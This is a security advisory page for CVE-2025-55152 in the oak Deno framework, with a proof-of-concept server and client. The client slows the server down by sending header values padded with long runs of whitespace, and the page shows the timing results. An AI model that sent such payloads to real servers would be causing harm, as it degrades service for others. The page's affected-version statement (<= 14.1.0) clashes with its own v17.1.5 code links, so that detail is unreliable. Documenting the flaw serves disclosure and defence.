CVE-2025-55152

With specially crafted value of the x-forwarded-proto or x-forwarded-for headers, it's possible to significantly slow down an oak server.

Vulnerable Code

• https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
• https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142

PoC

• setup

deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3

• server.ts

import { Application } from "https://deno.land/x/oak/mod.ts";

const app = new Application({proxy: true});

let i = 1

app.use((ctx) => {

    // let url = ctx.request.url   // test1) x-forwarded-proto
    let ips = ctx.request.ips   // test2) x-forwarded-for
    console.log(`request ${i} received`)
    i++;
    ctx.response.body = "hello";
});

await app.listen({ port: 8080 });

• client.ts

const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');

async function run(data) {
    for (let i = 0; i < data.length; i++) {
        let d = data[i];
        
        const start = performance.now();

        await fetch("http://localhost:8080", {
            headers: {
                // "x-forwarded-proto": d,  // test1)
                "x-forwarded-for": d,    // test2)
            },
        });

        const end = performance.now();
        console.log('length=%d, time=%d ms', d.length, end - start);
    }
}

console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)

• run

deno run --allow-net server.ts
deno run --allow-net client.ts

[+] Test normal behavior
length=2002, time=14 ms
length=4002, time=6 ms
length=8002, time=3 ms
length=16002, time=3 ms
length=32002, time=2 ms
length=64002, time=4 ms
length=128002, time=3 ms

[+] Test payloads
length=2002, time=7 ms
length=4002, time=22 ms
length=8002, time=77 ms
length=16002, time=241 ms
length=32002, time=947 ms
length=64002, time=4020 ms
length=128002, time=15840 ms

Similar Issues

• https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6
  • https://github.com/denoland/deno/pull/17722
• https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693
  • https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff

A specially crafted value of the x-forwarded-proto or x-forwarded-for headers  can be used to significantly slow down an oak server.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2025-55152 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2025-55152? CVE-2025-55152 is a medium-severity uncontrolled resource consumption vulnerability in @oakserver/oak (npm), affecting versions <= 14.1.0. No fixed version is listed yet. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2025-55152? CVE-2025-55152 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @oakserver/oak are affected by CVE-2025-55152? @oakserver/oak (npm) versions <= 14.1.0 is affected.
4. Is there a fix for CVE-2025-55152? No fixed version is listed for CVE-2025-55152 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2025-55152 exploitable, and should I be worried? Whether CVE-2025-55152 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-55152 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-55152? No fixed version is listed yet. In the interim: Apply input size limits and request rate limiting. Reject input that exceeds reasonable bounds before processing begins.